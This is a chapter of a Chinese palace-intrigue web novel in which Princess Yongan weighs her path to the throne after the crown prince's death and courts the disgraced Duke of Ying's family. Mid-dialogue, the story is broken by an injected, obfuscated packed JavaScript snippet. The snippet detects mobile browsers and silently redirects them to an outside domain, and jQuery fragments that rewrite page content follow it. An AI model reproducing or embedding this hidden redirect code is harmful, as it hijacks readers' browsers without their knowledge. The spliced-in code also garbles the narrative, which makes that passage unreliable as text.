本以为翻过大山，便是坦途。没想到一座山后，是另一座山。举目四望，群山莽莽，绵延起伏，看不到头。
打败皇兄，还有父皇，父皇已老，还有异人……异人，难以想象，那是怎样的人？
永安迷茫望着母亲，没有丝毫计划成功的喜悦，喃呢着问：“娘，我该怎么做？”
“要个孩子。”
“嗯？为什么？”永安顺嘴反问，过嘴不过心，被娘一根指头按住嘴唇。
“别说话，自己想。”
永安深吸一口气，强迫自己镇定心神，努力理清思路：现在的情况是，太子已死，父皇没有继承人。那么选择只有两个，一是皇子，也就是她的两个弟弟；二是宗室子弟，如果两个弟弟不成器，宗室、朝臣不会眼睁睁看着。
想想史书上那些昏君吧，有时还不如栓条狗。真正忠心能干的大臣，不会愿意侍奉那样的君主。想要走权臣篡位路线的臣子，要怎么把一条狗扶上位。
如果两位弟弟不成器，宗室子弟能忍住吗？那是小宗变大宗，从此飞升成龙的绝顶诱惑啊！
问题随之而来，自己要怎么成为第三个选择。
自己如今已有入朝的资格，群臣对自己却敬而远之，只有低阶官员依附，为什么？
永安自问自答：因为看不到稳定的利益。
本朝公主向来嫁入重臣之家，成为皇帝表达“君臣相得”的高级牌匾，无论永安现在做的多么出色，嫁人之后，皇帝就不会把她纳入“自己人”的范畴。朝堂分割利益的时候，嫁人后的永安只会代表夫家。
怎样才能只代表自己？
永安再次自问自答：我要向父皇展示，无论给予我怎样的权力与荣耀，我都只会把它留给皇室。如此才有资格进入大盛最顶级的圈层，有资格进行“利益交换”，这时候，我的利益才只属于我自己。
如何展示呢？
温和一点，招赘。不要联姻重臣勋贵，找个才貌出众的寒门子弟。
可是父皇的身体，允许她走温和路线吗？小太监禀告父皇身体没有大碍，真的没有大碍吗？
而今不能徐徐图之，必须雷霆一击，用震撼敲开父皇的心门，让他意识到，自己能成为第三个选择。
能力出众，不会因昏庸不仁让大盛亡国的选择；心性坚定，不会因权臣篡位让大盛改姓的选择；亲生女儿，不会因过继旁支闹出尊封生父的有力选择！
这么多想法，永安只在电光火石之间就想明白了，她抬头一看，母亲不知何时已经走到门边，正要推门离开。
“娘，驸马的人选……”
“嘘——”这次，李茉把食指放在自己唇边，“不要告诉我，孩子父亲的消息，只需要你一个人知道就好，两个人知晓的秘密，就不是秘密。”
永安垂下头，继续思考，对，连孩子生父都不该知晓。三纲五常是另一座大山，夫为妻纲，若女皇有夫，如何应对？
李茉退出正殿，给永安留下安静思考的空间。很多事情，长辈说破嘴皮都是没用的，只有自己去想、自己去悟，自己经历了、吃亏了，才恍然大悟：原来是这样。
李茉保持着沉默，一如当年不让永安说出到底懂了什么，一如这些年来对皇帝身边发生的奇人异事视若无睹。
宫闱还在禁/严中，禁卫军分小队开始清运尸首，殿中省的官员小吏开始组织清扫、更换宫殿，皇帝草木皆兵，不让任何人染指宫权，一切都交由他的心腹大太监春兴统领。
春兴对李茉很恭敬，远远站着行礼，解释了如今的状况，恭请她回殿内休息。
“场面腌臜，别熏坏了娘娘。”春兴离得远远的，腰弓得弯弯的。
“垂拱殿清扫出来了吗？陛下身子如何？”
“娘娘放心，陛下急火攻心，静养便好。”
“唉，太子啊……他虽做错了事，可终究是陛下的血脉，你让下面人照顾些，不许人折辱他。”李茉表现得仿佛不知太子死讯。
“是，娘娘。”
这样简单的对话，被三个人分别送到皇帝的案头，皇帝一扫而过，继续关注两个儿子如何表现。
皇帝强撑着见了重臣，用实际行动表达了身体并不大碍，刚刚立功归来的英国公跪在殿前请罪，并没有穿戴新到手的郡王蟒袍。
皇帝只让他回家，并未做出决定。
英国公府关门闭户，静静等着头顶的屠刀落下来，老英国公约束着子弟，一动不如一静。
其他处置来得很快，东宫伺候的一干人等全部处死，宫女、太监但凡与东宫有所联系，全部淸出宫去。
太子妃被幽禁，即便她大声嚎啕自己不知情，依旧被幽禁起来。又过了没多久，查出太子举事的兵器是借口太子妃娘家年礼的名义运进东宫的，太子妃被拖出陋室绞杀。吏部尚书全家主枝斩首，旁支流放。
“谢陛下隆恩。”吏部尚书的头发一夜之间全白了，还要跪地谢恩。与夷三族、诛九族相比，只杀主枝，难道不是恩典吗？
太子的死讯终于被放了出来，官方说法是太子自知犯下大错，自刎谢罪，请求宽宥。
宽宥是没有的，皇后的棺椁被移出安奉殿，皇帝不许她穿皇后规制的衣服、首饰，不许她用皇后规制的棺材，要求发覆面，口塞糠，弃尸荒野。
太子被废为庶人，一口薄棺葬于南关村墓园。他还没有孩子，这一支彻底绝嗣。
事实证明，老英国公约束子弟静静等待的举动是正确的，经历在漫长的等待后，终于迎来的结局，皇帝褫夺了郡王爵位，把国公爵降为侯爵，赐名恪慎侯，一个充满审视、告诫甚至侮辱意味的词。
老国公能怎么办，如同吏部尚书一样，他也只能请罪、谢恩。张家祖传的爵位在他这里丢了，明明他尽忠职守、须发皆白依旧为国征战，张家儿郎的血，撒满了大盛的疆土，祖传的爵位，依旧在他手上丢了！
心怎能不痛？
老英国公夫人早在传出太子谋逆消息的那一天自尽了，张家连丧事都没有办，草草收敛遗骨。
老英国公枯树皮一样的大手，抚摸着身上的棉布衣裳，他自陈带罪之身，连丝绸锦缎都不愿上身：“你娘还有一副薄棺入土，你妹妹和外甥，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235888|173613||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不知魂归何处？”
新任恪慎侯虎目含泪，他的年纪是能做小妹父亲的程度，也是从小把妹妹当女儿养大的，怎会不心疼她。可张家因她坠入深渊，哪里还有心情管她的后事。
“恐陛下因此更迁怒我家。”恪慎侯低声提醒。
“不会，我了解陛下，他喜欢重情义的人。”
恪慎侯不敢苟同，父亲了解的是曾经的陛下，父亲难道能预料小妹、太子能干出这样大逆不道的事情吗？
“等着吧。”老国公疲惫闭上眼睛，重压之下，他老得更厉害了。可他还不能死，不愿死，儿子虽然在战场上有能为，于朝政却少一分清醒，不看着张家重新走上正轨，他没脸下去见祖宗。
恪慎侯问：“等什么？”
“等谁为阿芝和太子收敛尸骨。”
还有人赶在这个档口，冒着惹怒陛下的风险，给被废的先皇后、前太子收敛尸骨？恪慎侯望着父亲布满老人斑的苍老面庞，不敢说出真话打击他。
恪慎侯等来了挺着肚子的永安公主，惊讶得瞪大了眼睛，把公主领去见父亲，听到消息的时候，眼睛更是险些跳出眼眶。
“张姨和阿兄葬在南关村墓园，起了一座母子坟。张姨在天有灵，大约也想和阿兄葬在一处。”永安语气柔和说起两位的后事，详细描述了下葬的过程，没有皇后太子规格，也没有折辱，是普通士人那样，平平常常葬在墓园。
老国公叫他那傻乎乎只会说谢的儿子退下，缓慢而僵硬地问：“原来是公主啊。”
永安抚摸着肚子，闻言露出一个清浅微笑。
老国公撑起苍老的身体，动作缓慢从轮椅上站起来，缓缓跪下，“老臣张英，拜见殿下！”
永安上前扶住，言辞恳切：“老国公请起，我发誓，并未引导阿兄做任何事，阿兄举事，也非我推动，张姨给父皇下毒，此乃事实。”
“老臣养下那等不忠不孝的孽障，有罪！有罪！”老国公泣不成声，仿佛为女儿和外孙行差踏错深深懊悔。
“英国公府与国同长，这大盛江山，留着我皇家人的血，也染遍了张家子弟的血，两家早已长到一起。”
老国公哭声顿了顿，再次叩首：“老臣谢殿下！”
锣鼓听声，说话听音，何必明言？
恪慎侯扶着老父亲送走公主，急忙忙对老父亲道：“爹，公主说什么了？您怎么哭成那样？”
“不懂的事情少管。”
“公主挺着肚子是吧？我没看错吧？咱家不至于消息闭塞成这样，我记得公主还未成婚啊？”
“不懂的事情少管。”
“我怎么就不懂了？我也是做爷爷的人了……”
“闭嘴！拿人生养荣丸来，老夫且保养身子。”老英国公要养好身子，等一个结局。
成王败寇，不论此事是幽居深宫影影绰绰透出威慑的皇后所为，还是走在台前野心毕露的永安公主所为，都不重要。
甚至是不是她们做的，都不重要了。至少她们姿态好看，她们不会对败者落井下石，她们是第一个向英国公府伸出橄榄枝的。